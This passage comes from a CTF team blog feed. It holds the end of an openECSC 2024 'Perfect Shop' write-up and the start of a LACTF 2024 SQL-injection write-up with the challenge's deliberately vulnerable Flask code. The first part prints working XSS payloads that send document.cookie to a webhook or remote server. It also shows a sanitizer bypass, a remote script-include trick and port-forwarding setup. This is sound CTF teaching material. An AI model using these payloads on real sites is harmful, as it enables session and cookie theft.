<p>And if, for no reason, you wanted to send an ID different from those prefixed by the <code>select</code> proposed by the developer? In this case, it&rsquo;s very useful to modify the request with Burp Suite or similar tools. Unfortunately, I don&rsquo;t have the time to show you how to set up Burp on your trusted browser (<a href="https://www.youtube.com/watch?v=Vn_Zst6BMGo">this</a> tutorial may be helpful) or to show you the process to solve the challenge without using similar tools.</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/vid/BurpIDmodif.gif" alt="Modifying the product ID with Burp">
<p>What I did was change the value of <code>id</code> from <code>1</code> to <code>1/../../search?q=Incredible</code> before it was sent to the server and consequently to the bot. To clarify, I would have achieved the same result if I had done this:</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/HTMLmodif.png" alt="Modifying the product ID from client-side HTML">
<p>Checking the logs, it can be seen that the bot is redirected to <code>search?q=Incredible</code>:</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/BotFallsForIt.png" alt="Bot log visiting the search page with the value entered by the reporter">
<p>A brief check of the site&rsquo;s route structure confirms this.</p>
<p>Now all that&rsquo;s left is to try the payload that worked before to exfiltrate our cookie on the bot. Trying the payload <code>&lt;script&gt;window.location=&quot;https://webhook.site/[REDACTED]?c=&quot;+document.cookie&lt;/script&gt;</code>, you would notice that the complete URL being visited is <code>http://localhost:3000/search?q=&lt;script&gt;window.location=&quot;https://webhook.site/[REDACTED]?c=&quot;+document.cookie&lt;/script&gt;</code> or <code>http://perfectshop.challs.open.ecsc2024.it/search?q=&lt;script&gt;window.location=&quot;https://webhook.site/[REDACTED]?c=&quot;+document.cookie&lt;/script&gt;</code> depending on whether you are testing the challenge locally or on the competition server.</p>
<p>This means that the same request must be made by the bot, which means making the same modification made before, combining it with the exploit already used:</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/WePwnNoFilter.png" alt="Example of successful attack without filter">
<p>Of course, I&rsquo;m not URL-encoding the payload here just to make it easier to understand what&rsquo;s happening, but you viewers at home must remember to URL-encode properly &lt;3 (on Burp, CTRL+U highlighting the text to be URL-encoded):</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/vid/UrlEncoding4profit.gif" alt="Example of URL-encoded payload">
<p>First, URL-encode for the query parameter value that the bot will send to the search endpoint, and then URL-encode for the entire payload that is about to be sent to the bot.</p>
<p>Sending this payload, you&rsquo;ll receive a request on the webhook with the test flag set in the config:</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/FlagNoFilter.png" alt="Test flag sent on the webhook">
<h4 id="third-step-cookie-stealing-on-the-bot-with-the-sanitizer-active">Third step: Cookie stealing on the bot with the sanitizer active</h4>
<p>On line 16, let&rsquo;s modify the sanitizer again to set it as in the original application, then rebuild everything:</p>
<p><code>app.use(sanitizer.clean({ xss: true }, [&quot;/admin&quot;]));</code></p>
<p>Once the application is rebuilt, you&rsquo;ll notice that none of the payloads used previously will work anymore, being replaced instead by an empty string.</p>
<p>In this step, there are very few tricks that can be done. To solve this problem, one had to notice the error present in the sanitizer library, and during the competition, it was a far-from-immediate step.</p>
<p>Let&rsquo;s say that for any reason, whether you tried to enter an <code>/admin</code> in the request as a query parameter, or during static analysis, you noticed that something was wrong with the sanitizer, now it&rsquo;s known that if <code>/admin</code> is a substring of the request URL (remember once again: query parameters are part of the URL), it will cause the sanitizer to ignore any type of XSS payload that is sent.</p>
<p>One very convenient thing is that if you decide to insert an unused query parameter in the request, it will simply be sent to the server and not used. This means that you can send a completely random parameter with the value <code>/admin</code> to skip any kind of sanitization without having to modify the payload in some convoluted way.</p>
<p>So, if before in the reporting phase you sent <code>id=1/../../search?q=&lt;script&gt;window.location=&quot;https://webhook.site/[REDACTED]?c=&quot;+document.cookie&lt;/script&gt;&amp;message=openECSC</code>, now you can send something similar to <code>id=1/../../search?lol=/admin&amp;q=&lt;script&gt;window.location=&quot;https://webhook.site/[REDACTED]?c=&quot;+document.cookie&lt;/script&gt;&amp;message=/admin</code>.</p>
<p>Note how I had to use one <code>/admin</code> to bypass the filter when communicating with the bot and another to bypass the filter when tricking the bot into performing a search in the related endpoint.</p>
<p>Of course, starting such a chain (?) means properly handling URL encoding to ensure that the parameters are correctly spread between the POST made to the report endpoint (to which the parameters <code>id</code> and <code>message</code> will be sent) and the request made by the bot to the search endpoint (to which the necessary parameter <code>search</code> and the dummy parameter <code>lol</code> will be sent).</p>
<p>Once the URL encoding is correctly applied, the result should be this: <code>id=1/../../search%3flol%3d&quot;/admin&quot;%26q%3d&lt;script&gt;window.location%253d&quot;https%253a//webhook.site/[REDACTED]%253d&quot;%252bdocument.cookie&lt;/script&gt;&amp;message=/admin</code>.</p>
<p>Since it&rsquo;s not excluded by the filter, it will be necessary to bypass the filter also in the report endpoint. To do this, simply add any query parameter with the value <code>/admin</code> or <code>'/admin'</code> in the report URL. In Burp Suite, the final payload will be:</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/PayloadNoLenght.png" alt="Final payload without length filter">
<p>By doing this, you should again get the flag on the webhook as before. Now there&rsquo;s one last obstacle to overcome&hellip;</p>
<h4 id="last-step-length-filter-bypass">Last Step: Length Filter Bypass</h4>
<p>This step didn&rsquo;t require any rocket science. Let&rsquo;s say I simply aimed to find the shortest possible payload with the same philosophy as the previous ones. For completeness, I&rsquo;ll add a subsection with the various things I tried during the competition.</p>
<h5 id="what-i-tried-during-the-competition">What I Tried During the Competition</h5>
<ul>
<li>
<p>First of all, I tried several times to exploit <a href="https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html">unicode normalization</a>, with a payload like <a href="https://jlajara.gitlab.io/XSS_20_characters"><code>&lt;script src=//ﬀﬀ.pw&gt;</code></a>, but it seemed useless to me because it wouldn&rsquo;t have allowed me to exfiltrate the cookie (which is absolutely not true) since I wouldn&rsquo;t have been able to append the contents of <code>document.cookie</code>, as the use of <code>src</code> alone wouldn&rsquo;t have allowed me to execute JavaScript code;</p>
</li>
<li>
<p>I tried using <code>onerror</code> like this: <code>&lt;img src/onerror=this.src='https://[IP]/'+document.cookie&gt;</code>, but it still went beyond the allowed 50 characters;</p>
</li>
<li>
<p>I found a way to not specify the protocol, resulting in <code>&lt;img src/onerror=this.src='//[IP]/'+document.cookie&gt;</code>. Still way too long.</p>
</li>
<li>
<p>I tried changing the tag, first with the script tag <code>&lt;script&gt;location='//[IP]/'+document.cookie</code>, where <code>location</code> is a shortcut to access <code>window location</code>, but I realized that the payload wouldn&rsquo;t work unless I closed the tag.</p>
</li>
<li>
<p>Again, this time with <code>&lt;svg onload=location='//[IP]/'+document.cookie&gt;</code>, but with the IP, I would have still exceeded the character limit by a few.</p>
</li>
</ul>
<p>After trying and retrying, convincing myself more and more that I wasn&rsquo;t using the right approach, and scrutinizing the challenge files over and over again, including the templates that I considered completely safe, my eyes fell on the commented Bootstrap CDN.</p>
<p>What is done with the CDN is to include JavaScript code present on an external server on the page that calls it. To do this, all you need is a reference to this server and a <code>script</code> tag. Eureka.</p>
<h4 id="xss-rfi">XSS RFI</h4>
<p>I think I can call it a Remote File Inclusion?</p>
<p>In the end, the solution was to write your payload to any file. The payload can be as long as you want, the important thing is that the tag that includes the JavaScript code in it is less than 50 characters.</p>
<p>At this point, I created a file named <code>x.js</code> that would change the page&rsquo;s address to that of my server, like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#d0a8ff">window</span>.location = <span style="color:#fc6a5d">&#34;https://webhook.site/[REDACTED]?c=&#34;</span> + <span style="color:#d0a8ff">document</span>.cookie;
</span></span></code></pre></div><p>At this point, all it took was to send the bot a payload that made it search for <code>&lt;script src='//[IP]:[PORT]/'&gt;&lt;/script&gt;</code>, so that it included the file from my server, executed it, and sent me the flag by changing the page&rsquo;s address from that of the challenge to that of my webhook, including the cookie parameters related to the challenge site as query parameters.</p>
<h4 id="how-to-expose-your-server-to-the-world">How to expose your server to the world</h4>
<p>To expose your files to the rest of the internet, you don&rsquo;t need to physically own a server. Your PC can serve this purpose without much trouble. All you need is Python to do what I did during the competition, so I believe any operating system that supports Python also allows you to expose a server as I&rsquo;m about to show:</p>
<p>Firstly, you need to get your local IP, which on Linux you can obtain by running the command <code>ifconfig</code>:</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/ifconfig.png" alt="Example of finding local IP with ifconfig">
<p>You will likely see an IP starting with <code>192.</code>; here, I tested it on my university&rsquo;s MAN.</p>
<p>Then, to expose the file containing the payload to the local network, you can use the Python command <code>python3 -m http.server [PORT]</code>. This command sets up a simple HTTP server that exposes all files in the folder and its subfolders where the command was executed. This means that at the URL <code>http://[IP]:[PORT]/x.js</code>, if everything is set up correctly, you should find the payload.</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/SimpleHTTPserver.png" alt="Example of a simple HTTP server">
<p>Opening it, you should be able to see the payload, which is not being executed. Do not be afraid; when this is included in the script tag, it will be executed as necessary.</p>
<p>As all good kids know, it&rsquo;s the router that communicates with the fantastic world of the internet, not our device directly, which only receives and sends information via the router. To find out what your external IP address is, you can use an online service like <a href="https://www.whatismyip.com/">whatismyip.com</a>.</p>
<p>At this point, we have almost everything: we know the IP address where the file to be included in the script tag passed to the bot will be located (i.e., the IP we just found), and we know the port on our device where our files are exposed (after all, we chose it).</p>
<p>But there&rsquo;s one step missing: the router is reachable from the outside world, but the server hosted on the device is only reachable within the local network. Somehow, we need to tell the router that when a request is received on a certain port, that request should be handled by the Python server.</p>
<p><a href="https://en.wikipedia.org/wiki/Port_forwarding">Port forwarding</a> allows us to do this. The procedure for enabling it varies greatly depending on the router manufacturer.</p>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/PortForwarding.png" alt="Example of port forwarding">
<p>As for the protocol, it&rsquo;s important to select TCP/UDP or similar if available; otherwise, it&rsquo;s better to create a port forwarding table for each protocol.</p>
<p>The WAN port is the port that will be reachable from the outside, while the LAN port is the port that will receive packets from the outside. Essentially, it&rsquo;s the one chosen when the HTTP server was set up in Python. To avoid errors, I would recommend using the same LAN and WAN port (internal and external) where possible.</p>
<p>The destination IP is the local IP of the device used, i.e., the one I obtained with <code>ifconfig</code>, or <code>ipconfig</code> in Windows.</p>
<p>This way, when the router receives a request on the selected WAN port, the packet will be forwarded to the local IP and port entered in the port forwarding table.</p>
<p>To test that everything has been done correctly, simply visit <code>[public IP of the router]:[WAN port]</code> from any device, preferably not connected to the same local network as the server hosting the exploit (e.g., a phone with mobile data).</p>
<h3 id="final-payload">Final Payload</h3>
<p>Let&rsquo;s make it happen.</p>
<p>To recap:</p>
<ul>
<li>The finalized payload to include the remote JavaScript code is <code>&lt;script src=&quot;//[IP]:[PORT]/x.js&quot;&gt;&lt;/script&gt;</code>.</li>
<li>The code present on <code>x.js</code> is <code>window.location = &quot;https://webhook.site/[REDACTED]?c=&quot; + document.cookie;</code>.</li>
<li>All that&rsquo;s left is to send the bot a report like this:</li>
</ul>
<img class="img-responsive" src="/openecsc2024/Perfect-Shop/img/FinalBurp.png" alt="Final Payload in Burp">
<p><code>id=1/../../search%3flol%3d&quot;/admin&quot;%26q%3d&lt;script%2bsrc%253d&quot;http%253a//10.10.201.233%253a1337/x.js&quot;&gt;&lt;/script&gt;&amp;message=/admin</code>, which decodes to
<code>id=1/../../search?lol=&quot;/admin&quot;&amp;q=&lt;script src=&quot;http://10.10.201.233:1337/x.js&quot;&gt;&lt;/script&gt;&amp;message=/admin</code></p>
<p>To anyone who managed to read this far, thank you from the bottom of my heart ❤️</p>
<p>For any feedback, you can reach me out on Discord: <code>titto_caru</code></p>
]]></content></item><item><title>LACTF 2024 - penguin-login</title><link>https://theromanxpl0.it/posts/2024/02/lactf-2024-penguin-login/</link><pubDate>Sun, 18 Feb 2024 00:00:00 +0000</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2024/02/lactf-2024-penguin-login/</guid><description>&lt;blockquote>
&lt;p>&amp;ldquo;I got tired of people leaking my password from the db so I moved it out of the db.&amp;rdquo;&lt;/p>&lt;/blockquote>
&lt;p>&lt;em>Prior knowledge: basic web-related knowledge, SQL&lt;/em>&lt;/p>
&lt;h2 id="context">Context&lt;/h2>
&lt;p>We are provided with the link to the challenge website and the corresponding source code. The website is quite simple, and the usage of its features is straightforward:&lt;/p>
&lt;img class="img-responsive" src="https://theromanxpl0.it/lactf2024/penguin-login/img/website.png" alt="website home page">
&lt;p>All the code is in &lt;code>app.py&lt;/code>:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-py" data-lang="py">&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>allowed_chars = &lt;span style="color:#d0a8ff">set&lt;/span>(string.ascii_letters + string.digits + &lt;span style="color:#fc6a5d">&amp;#34; &amp;#39;flag&lt;/span>&lt;span style="color:#fc6a5d">{a_word}&lt;/span>&lt;span style="color:#fc6a5d">&amp;#39;&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>forbidden_strs = [&lt;span style="color:#fc6a5d">&amp;#34;like&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>@cache
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">get_database_connection&lt;/span>():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># Get database credentials from environment variables&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> db_user = os.environ.get(&lt;span style="color:#fc6a5d">&amp;#34;POSTGRES_USER&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> db_password = os.environ.get(&lt;span style="color:#fc6a5d">&amp;#34;POSTGRES_PASSWORD&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> db_host = &lt;span style="color:#fc6a5d">&amp;#34;db&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># Establish a connection to the PostgreSQL database&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> connection = psycopg2.connect(user=db_user, password=db_password, host=db_host)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> connection
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">with&lt;/span> app.app_context():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> conn = get_database_connection()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> create_sql = &lt;span style="color:#fc6a5d">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"> DROP TABLE IF EXISTS penguins;
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"> CREATE TABLE IF NOT EXISTS penguins (
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"> name TEXT
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"> )
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc6a5d"> &amp;#34;&amp;#34;&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">with&lt;/span> conn.cursor() &lt;span style="color:#fc5fa3">as&lt;/span> curr:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> curr.execute(create_sql)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> curr.execute(&lt;span style="color:#fc6a5d">&amp;#34;SELECT COUNT(*) FROM penguins&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> curr.fetchall()[&lt;span style="color:#d0bf69">0&lt;/span>][&lt;span style="color:#d0bf69">0&lt;/span>] == &lt;span style="color:#d0bf69">0&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> curr.execute(&lt;span style="color:#fc6a5d">&amp;#34;INSERT INTO penguins (name) VALUES (&amp;#39;peng&amp;#39;)&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> curr.execute(&lt;span style="color:#fc6a5d">&amp;#34;INSERT INTO penguins (name) VALUES (&amp;#39;emperor&amp;#39;)&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> curr.execute(&lt;span style="color:#fc6a5d">&amp;#34;INSERT INTO penguins (name) VALUES (&amp;#39;&lt;/span>&lt;span style="color:#fc6a5d">%s&lt;/span>&lt;span style="color:#fc6a5d">&amp;#39;)&amp;#34;&lt;/span> % (flag))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> conn.commit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>@app.post(&lt;span style="color:#fc6a5d">&amp;#34;/submit&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fc5fa3">def&lt;/span> &lt;span style="color:#41a1c0">submit_form&lt;/span>():
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">try&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> username = request.form[&lt;span style="color:#fc6a5d">&amp;#34;username&amp;#34;&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> conn = get_database_connection()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">assert&lt;/span> &lt;span style="color:#d0a8ff">all&lt;/span>(c in allowed_chars &lt;span style="color:#fc5fa3">for&lt;/span> c in username), &lt;span style="color:#fc6a5d">&amp;#34;no character for u uwu&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">assert&lt;/span> &lt;span style="color:#d0a8ff">all&lt;/span>(
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> forbidden not in username.lower() &lt;span style="color:#fc5fa3">for&lt;/span> forbidden in forbidden_strs
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ), &lt;span style="color:#fc6a5d">&amp;#34;no word for u uwu&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">with&lt;/span> conn.cursor() &lt;span style="color:#fc5fa3">as&lt;/span> curr:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> curr.execute(&lt;span style="color:#fc6a5d">&amp;#34;SELECT * FROM penguins WHERE name = &amp;#39;&lt;/span>&lt;span style="color:#fc6a5d">%s&lt;/span>&lt;span style="color:#fc6a5d">&amp;#39;&amp;#34;&lt;/span> % username)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> result = curr.fetchall()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">if&lt;/span> &lt;span style="color:#d0a8ff">len&lt;/span>(result):
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34;We found a penguin!!!!!&amp;#34;&lt;/span>, &lt;span style="color:#d0bf69">200&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#fc6a5d">&amp;#34;No penguins sadg&amp;#34;&lt;/span>, &lt;span style="color:#d0bf69">201&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">except&lt;/span> Exception &lt;span style="color:#fc5fa3">as&lt;/span> e:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">return&lt;/span> &lt;span style="color:#fc6a5d">f&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;Error: &lt;/span>&lt;span style="color:#fc6a5d">{&lt;/span>&lt;span style="color:#d0a8ff">str&lt;/span>(e)&lt;span style="color:#fc6a5d">}&lt;/span>&lt;span style="color:#fc6a5d">&amp;#34;&lt;/span>, &lt;span style="color:#d0bf69">400&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#6c7986"># need to commit to avoid connection going bad in case of error&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fc5fa3">finally&lt;/span>:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> conn.commit()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>We know that the website uses Postgres as the &lt;a href="https://cloud.google.com/learn/what-is-a-relational-database?hl=en">RDBMS&lt;/a>/&lt;a href="https://www.solarwinds.com/resources/it-glossary/sql-database">SQL database&lt;/a>, and that the flag is contained in the penguins table along with the penguins.&lt;/p></description><content type="html"><![CDATA[<blockquote>
<p>&ldquo;I got tired of people leaking my password from the db so I moved it out of the db.&rdquo;</p></blockquote>
<p><em>Prior knowledge: basic web-related knowledge, SQL</em></p>
<h2 id="context">Context</h2>
<p>We are provided with the link to the challenge website and the corresponding source code. The website is quite simple, and the usage of its features is straightforward:</p>
<img class="img-responsive" src="/lactf2024/penguin-login/img/website.png" alt="website home page">
<p>All the code is in <code>app.py</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>allowed_chars = <span style="color:#d0a8ff">set</span>(string.ascii_letters + string.digits + <span style="color:#fc6a5d">&#34; &#39;flag</span><span style="color:#fc6a5d">{a_word}</span><span style="color:#fc6a5d">&#39;&#34;</span>)
</span></span><span style="display:flex;"><span>forbidden_strs = [<span style="color:#fc6a5d">&#34;like&#34;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>@cache
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">get_database_connection</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># Get database credentials from environment variables</span>
</span></span><span style="display:flex;"><span>    db_user = os.environ.get(<span style="color:#fc6a5d">&#34;POSTGRES_USER&#34;</span>)
</span></span><span style="display:flex;"><span>    db_password = os.environ.get(<span style="color:#fc6a5d">&#34;POSTGRES_PASSWORD&#34;</span>)
</span></span><span style="display:flex;"><span>    db_host = <span style="color:#fc6a5d">&#34;db&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># Establish a connection to the PostgreSQL database</span>
</span></span><span style="display:flex;"><span>    connection = psycopg2.connect(user=db_user, password=db_password, host=db_host)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">return</span> connection
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">with</span> app.app_context():
</span></span><span style="display:flex;"><span>    conn = get_database_connection()
</span></span><span style="display:flex;"><span>    create_sql = <span style="color:#fc6a5d">&#34;&#34;&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">        DROP TABLE IF EXISTS penguins;
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">        CREATE TABLE IF NOT EXISTS penguins (
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">            name TEXT
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">        )
</span></span></span><span style="display:flex;"><span><span style="color:#fc6a5d">    &#34;&#34;&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">with</span> conn.cursor() <span style="color:#fc5fa3">as</span> curr:
</span></span><span style="display:flex;"><span>        curr.execute(create_sql)
</span></span><span style="display:flex;"><span>        curr.execute(<span style="color:#fc6a5d">&#34;SELECT COUNT(*) FROM penguins&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> curr.fetchall()[<span style="color:#d0bf69">0</span>][<span style="color:#d0bf69">0</span>] == <span style="color:#d0bf69">0</span>:
</span></span><span style="display:flex;"><span>            curr.execute(<span style="color:#fc6a5d">&#34;INSERT INTO penguins (name) VALUES (&#39;peng&#39;)&#34;</span>)
</span></span><span style="display:flex;"><span>            curr.execute(<span style="color:#fc6a5d">&#34;INSERT INTO penguins (name) VALUES (&#39;emperor&#39;)&#34;</span>)
</span></span><span style="display:flex;"><span>            curr.execute(<span style="color:#fc6a5d">&#34;INSERT INTO penguins (name) VALUES (&#39;</span><span style="color:#fc6a5d">%s</span><span style="color:#fc6a5d">&#39;)&#34;</span> % (flag))
</span></span><span style="display:flex;"><span>        conn.commit()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>@app.post(<span style="color:#fc6a5d">&#34;/submit&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">submit_form</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">try</span>:
</span></span><span style="display:flex;"><span>        username = request.form[<span style="color:#fc6a5d">&#34;username&#34;</span>]
</span></span><span style="display:flex;"><span>        conn = get_database_connection()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">assert</span> <span style="color:#d0a8ff">all</span>(c in allowed_chars <span style="color:#fc5fa3">for</span> c in username), <span style="color:#fc6a5d">&#34;no character for u uwu&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">assert</span> <span style="color:#d0a8ff">all</span>(
</span></span><span style="display:flex;"><span>            forbidden not in username.lower() <span style="color:#fc5fa3">for</span> forbidden in forbidden_strs
</span></span><span style="display:flex;"><span>        ), <span style="color:#fc6a5d">&#34;no word for u uwu&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">with</span> conn.cursor() <span style="color:#fc5fa3">as</span> curr:
</span></span><span style="display:flex;"><span>            curr.execute(<span style="color:#fc6a5d">&#34;SELECT * FROM penguins WHERE name = &#39;</span><span style="color:#fc6a5d">%s</span><span style="color:#fc6a5d">&#39;&#34;</span> % username)
</span></span><span style="display:flex;"><span>            result = curr.fetchall()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">if</span> <span style="color:#d0a8ff">len</span>(result):
</span></span><span style="display:flex;"><span>            <span style="color:#fc5fa3">return</span> <span style="color:#fc6a5d">&#34;We found a penguin!!!!!&#34;</span>, <span style="color:#d0bf69">200</span>
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> <span style="color:#fc6a5d">&#34;No penguins sadg&#34;</span>, <span style="color:#d0bf69">201</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">except</span> Exception <span style="color:#fc5fa3">as</span> e:
</span></span><span style="display:flex;"><span>        <span style="color:#fc5fa3">return</span> <span style="color:#fc6a5d">f</span><span style="color:#fc6a5d">&#34;Error: </span><span style="color:#fc6a5d">{</span><span style="color:#d0a8ff">str</span>(e)<span style="color:#fc6a5d">}</span><span style="color:#fc6a5d">&#34;</span>, <span style="color:#d0bf69">400</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># need to commit to avoid connection going bad in case of error</span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">finally</span>:
</span></span><span style="display:flex;"><span>        conn.commit()
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><p>We know that the website uses Postgres as the <a href="https://cloud.google.com/learn/what-is-a-relational-database?hl=en">RDBMS</a>/<a href="https://www.solarwinds.com/resources/it-glossary/sql-database">SQL database</a>, and that the flag is contained in the penguins table along with the penguins.</p>
